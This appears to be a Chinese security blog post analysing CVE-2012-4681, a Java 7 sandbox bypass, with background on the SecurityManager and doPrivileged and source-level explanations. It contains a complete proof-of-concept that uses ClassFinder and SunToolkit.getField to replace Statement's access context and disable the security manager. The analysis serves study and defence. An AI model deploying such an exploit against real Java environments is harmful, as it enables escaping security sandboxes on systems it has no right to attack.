Java sandbox bypass: CVE-2012-4681 分析

hades / 2017-08-14 11:20:27 / 浏览数 3094 安全技术 漏洞分析 顶(0) 踩(0)

Author■n1nty
■■■■■https://mp.weixin.qq.com/s/T7eaYSKdxJlTrYZSRJKhRw

需要知道的背景知识如下，因为涉及到的东西比较多，所以我这里就不细写了，全都是与 Java 的安全机制有关的，大家可以自行查资料。

1. Java 中的沙盒 - Security Manager 机制。

简述：在有沙盒的情况下，Java 程序在执行任何敏感操作，比如调用 Runtime.getRuntime().exec 执行外部程序之前，JDK 会先咨询沙盒来确定当前程序是否有权限执行外部程序，如果没有则拒绝执行并出现异常。如果你找到了 JDK 中的某个方法在不咨询沙盒的情况下就可以执行外部程序，那么你就找到了一个新的 CVE。

1. 与沙盒相关的 ProtectionDomain 与 Permission/PermissionCollection/Permissions 的机制。

简单地说，每个 Java 类都有与之对应的一个 ProtectionDomain，这是在 define class 的时候就定义的。ProtectionDomain 里面封装了当前 Java 类所拥有的权限。权限是由 Permission 类来表示的。PermissionCollection/Permissions 代表的是权限的集合。

3. AccessController 与 AccessControlContext，以及 doPrivileged （产生特权域） 及其他几个相似的方法的作用。

AccessControlContext 中封装了当前线程调用栈上所有的方法所属的类的 ProtectionDomain。简单地说，第 1 点说到了 Java 程序在执行敏感操作前会咨询沙盒是否有权限进行执行。具体过程就是，会一层一层往上去遍历 AccessControlContext 中所有的 ProtectionDomain，只有当前调用栈上的所有类都有权限执行这一项操作时，操作才能成功。一旦有任何一个类没有权限，则操作将会失败，会出现异常。特权域是一个例 ProtectionDomain 时，如果发现特权域时，则只要这个特权域所在的类有权限执行此操作，则操作就能成功（简述，不太严谨），剩余的没遍历的 ProtectionDomain 将会被忽略。这个有点类似于 Linux 中的 suid 权限。

1. JDK 核心类（rt.jar 中的类）和从 java.ext.dirs 目录下加载的类是拥有所有权限的。

以上几点都只是简述，有不少细节没有写，推荐有英文阅读能力朋友看一下 《Inside Java 2 Platform Security, Second Edition》，该书比较详细地讲述了以上几点（看书的时候配合与 JDK 源代码一起看）。

此 CVE 总结：

JDK7 提供的 ClassFinder 类的 findClass 方法写的不严谨（也就是上面第 1 点说的在执行敏感操作时没有咨询沙盒），导致允许我们在沙盒启用的情况下，访问到受限包（restricted package）sun.awt 中的 SunToolkit 类。受限包里的类是供 JDK 自身内部使用的，在启用沙盒的情况下，正常情况下应该是无法访问的。

SunToolkit 类提供了一个名为 getField 的方法，代码如下：

```
public static Field getField(final Class var0, final String var1) {
return (Field)AccessController.doPrivileged(new PrivilegedAction<Field>() {
public Field run() {
try {
Field var1x = var0.getDeclaredField(var1);

assert var1x != null;

var1x.setAccessible(true);
return var1x;
} catch (SecurityException var2) {
assert false;
} catch (NoSuchFieldException var3) {
assert false;
}

return null;
}
});
}
```

此方法在特权域里用反射获取了指定类的指定成员，并调用了 setAccessible(true)！这意味着，即使是在有沙盒的情况下，我们也可以通过 SunToolkit.getField 来获取任何类定义的任何成员（因为此特权域是定义在 SunToolkit 类中，此类是 JDK 自带的，拥有所有权限），并通过返回的 Field 来修改任何对象的私有变量甚至是 final 变量。

此 CVE 的 POC 就是利用了这一点进行了沙盒绕过。

具体的边看 POC 边讲，以下是 POC（好像在手机上无法看大段代码？有兴趣的在电脑上看吧）：

```
import com.sun.beans.finder.ClassFinder;
import java.beans.Expression;
import java.beans.Statement;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.*;
import java.security.cert.Certificate;

/**
* Created by n1nty on 08/08/2017.
*/
public class TestClass {
public static void main(String[] args) throws Exception {

// ■■■■
System.setSecurityManager(new SecurityManager());
System.out.println(System.getSecurityManager() == null);

//[1] ■■ ClassFinder.findClass ■■■ sun.awt.SunToolkit ■
Class cls = ClassFinder.findClass("sun.awt.SunToolkit");
System.out.println(cls);


// ■■■■■■■ SunToolkit.getField ■■■■■■ Statement.class ■ "acc" ■■■■
// [2] ■■■■■ Statement ■■■■ acc ■■■■■
Expression expr = new Expression(cls, "getField", new Object[]{Statement.class, "acc"});
expr.execute();
Field f = (Field) expr.getValue();

// ■■■■■■■■■■ System.setSecurityManager(null)■■■■■
Statement stat = new Statement(System.class, "setSecurityManager", new Object[]{null});

// ■■■■■■ AccessControlContext ■■■■■■■■■■■■ AllPermission ■ ProtectionDomain■■■■■ ProtectionDomain ■■■■■■■
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
AccessControlContext evilAcc = new AccessControlContext(new ProtectionDomain[]{
new ProtectionDomain(new CodeSource(new URL("file:///testtest"), new Certificate[]{}), permissions)
});

// [3] ■■■■■■ AccessControlContext ■■■■■ Statement ■■■■■■ AccessControlContext
f.set(stat, evilAcc);

// ■■■■
stat.execute();

// ■■■■■■
System.out.println(System.getSecurityManager() == null);
}
}
```

接下来简单解释一下注释中的几个点。

[1] 获取 sun.awt.SunToolkit 类

POC 中用 ClassFinder.findClass 方法来获取该类。前面说过了 sun.awt.SunToolkit 是位于受限包 sun.awt 中的类，那么 ClassFinder.findClass 在有沙盒的情况下是如何绕过这个限制获取到这个类的呢?

正常情况下我们手动加载一个类都是用 ClassLoader.loadClass(String name) 或者 Class.forName(String name) 方法。这两种方法加载类的时候都需要经过 java.lang.SecurityManager#checkPackageAccess 方法，来对受限包的访问进行阻止（这里有一些细节情况在里面，比如涉及到 class loader 的上下级关系，以及当拥有 getClassLoader 权限时可以通过获取 bootstrap classloader 或者 ext classloader 来绕过 checkPackageAccess）。也就是说正常情况下，在沙盒开启的时候我们是无法通过常规手段加载 sun.awt.SunToolkit 类。下面看一下 ClassFinder.findClass 是怎么做到的。

```
public static Class<?> findClass(String var0) throws ClassNotFoundException {
try {
ClassLoader var1 = Thread.currentThread().getContextClassLoader();
if (var1 == null) {
var1 = ClassLoader.getSystemClassLoader();
}
```

```
if (var1 != null) {
return Class.forName(var0, false, var1);
}
} catch (ClassNotFoundException var2) {
;
} catch (SecurityException var3) {
;
}

return Class.forName(var0);
}
```

重点在最后一行 Class.forName(var0);

ClassFinder.findClass 前面也会尝试常规的加载方式，通过当前线程的 context classloader 来进行加载。如果当前线程没有 context classloader，则尝试利用 system class loader。这个 system class loader 默认就是 sun.misc.Launcher$AppClassLoader 类的对象，它在加载类的时候也会进行 checkPackageAccess 的检查。常规的方式会失败，但是最后那一行 Class.forName(var0) 会成功。为什么我们手动调用 Class.forName 会失败，而它这里调用却会成功呢？ 看代码：

```
public static Class<?> forName(String className)
throws ClassNotFoundException {
return forName0(className, true, ClassLoader.getCallerClassLoader());
}

private static native Class<?> forName0(String name, boolean initialize,
ClassLoader loader)
throws ClassNotFoundException;
```

forName 直接调用了名为 forName0 的 native 方法。传入 forName0 的第三个 loader 参数将为 null，也就是说 ClassLoader.getCallerClassLoader 返回的是 null。因为 Class.forName 的调用者是 SunToolkit 这个类，此类是 JDK 核心类，是由 bootstrap class loader 加载的，而 bootstrap class loader 往往是由 C++编写的，在 JVM 中不会存在它的对象。也就是说，后面的类加载操作将由 bootstrap class loader 在 JVM 之外执行，Java 的沙盒自然管不到 JVM 之外的事情，所以加载可以成功。而我们在手动调用 Class.forName 的时候，ClassLoader.getCallerClassLoader 返回的不是 null 。

[2] 利用反射获取 Statement 类的 acc 成员

前面说到了我们需要利用 SunToolkit 类中的 getField 方法来获取 Statement 类的 acc。利用常规的反射方法的话，代码应该是：

```
Method method = cls.getDeclaredMethod("getField", new Class[]{Class.class, String.class});
method.invoke(....)
```

Class.getDeclaredMethod 或者 Class.getMethod 方法会在内部调用 java.lang.Class#checkMemberAccess ，如下：

```
private void checkMemberAccess(int which, ClassLoader ccl) {
SecurityManager s = System.getSecurityManager();
if (s != null) {
s.checkMemberAccess(this, which);
ClassLoader cl = getClassLoader0();
if ((ccl != null) && (ccl != cl) &&
((cl == null) || !cl.isAncestor(ccl))) {
String name = this.getName();
int i = name.lastIndexOf('.');
if (i != -1) {
s.checkPackageAccess(name.substring(0, i));
}
}
}
}
```

ccl 参数代表的是 caller class loader。

常规的反射无法通过这个检查，而通过 Expression 来就可以通过，主要是因为ccl 是 null。我估计 JDK 中有不少只通过 caller class loader 来判断是否有权限进行某项操作的逻辑。

[3] 重设 Statement 对象的 acc

为什么重设了 Statement 的 acc 后就可以重置沙盒了呢？这里要从前面提到过的 AccessController.doPrivileged 的第二个参数说起。先看 Statement.execute 的代码：

```
public void execute() throws Exception {
invoke();
}
```

```
Object invoke() throws Exception {
AccessControlContext acc = this.acc;
if ((acc == null) && (System.getSecurityManager() != null)) {
throw new SecurityException("AccessControlContext is not set");
}
try {
return AccessController.doPrivileged(
new PrivilegedExceptionAction<Object>() {
public Object run() throws Exception {
return invokeInternal();
}
},
acc
);
}
catch (PrivilegedActionException exception) {
throw exception.getException();
}
}
```

可以看到 execute 调用了 invoke，invoke 通过 doPrivileged 利用特权域来执行 invokeInternal，我们指定的方法最终会在 invokeInternal 里面被反射执行。从抽象的角度来看，这种我们可控的反射 + doPrivileged 的代码使得我们可以以系统类的特权来执行任何操作（Statement 是 JDK 自带的类，拥有所有权限，不明白的话请重新查看我前面简述过的关于 doPrivileged 的作用）。这显然是有问题的，所以 doPrivileged 引入了第二个 AccessControlContext 类型的参数。

Statement 的 acc 声明如下：

```
private final AccessControlContext acc = AccessController.getContext();
```

将它做为第二个参数传入 doPrivileged 的作用在于，当执行敏感操作，沙盒对是否有权限进行该操作进行判断的时候，不光会考虑当前线程栈上的所有 ProtectionDomain（它们被封装在一个 AccessControlContext 的对象中），还会考虑额外传入的 AccessControlContext 中的 ProtectionDomain 进行检查，在这里就是 Statement 中的 acc。

acc 的值从 AccessController.getContext 获取，这里面保存了我们当前的调用栈，封装了我们在生成 Statement 对象时栈上所有的类的作用域，这些类往往是我们自己写的。 所以正常情况下，只有当这些类也有权限进行敏感操作的时候，Statement.execute 方法才会成功。

我们的类自然是不可能拥有重置沙盒的权限的，所以这里我们将 Statement 对象中的 acc 替换成了一个封装了 AllPermission 的 acc，达到了欺骗的效果。沙盒在进行检查的时候会认为我们自己的类也拥有所有权限，于是检查通过，成功执行 System.setSecurityManager(null) 重置了沙盒。

上一篇：HTTP Fuzzer V3.6【... 下一篇：从瑞士军刀到变形金刚--XSS攻击面拓展

1. 0 条回复
   - 动动手指，沙发就是你的了！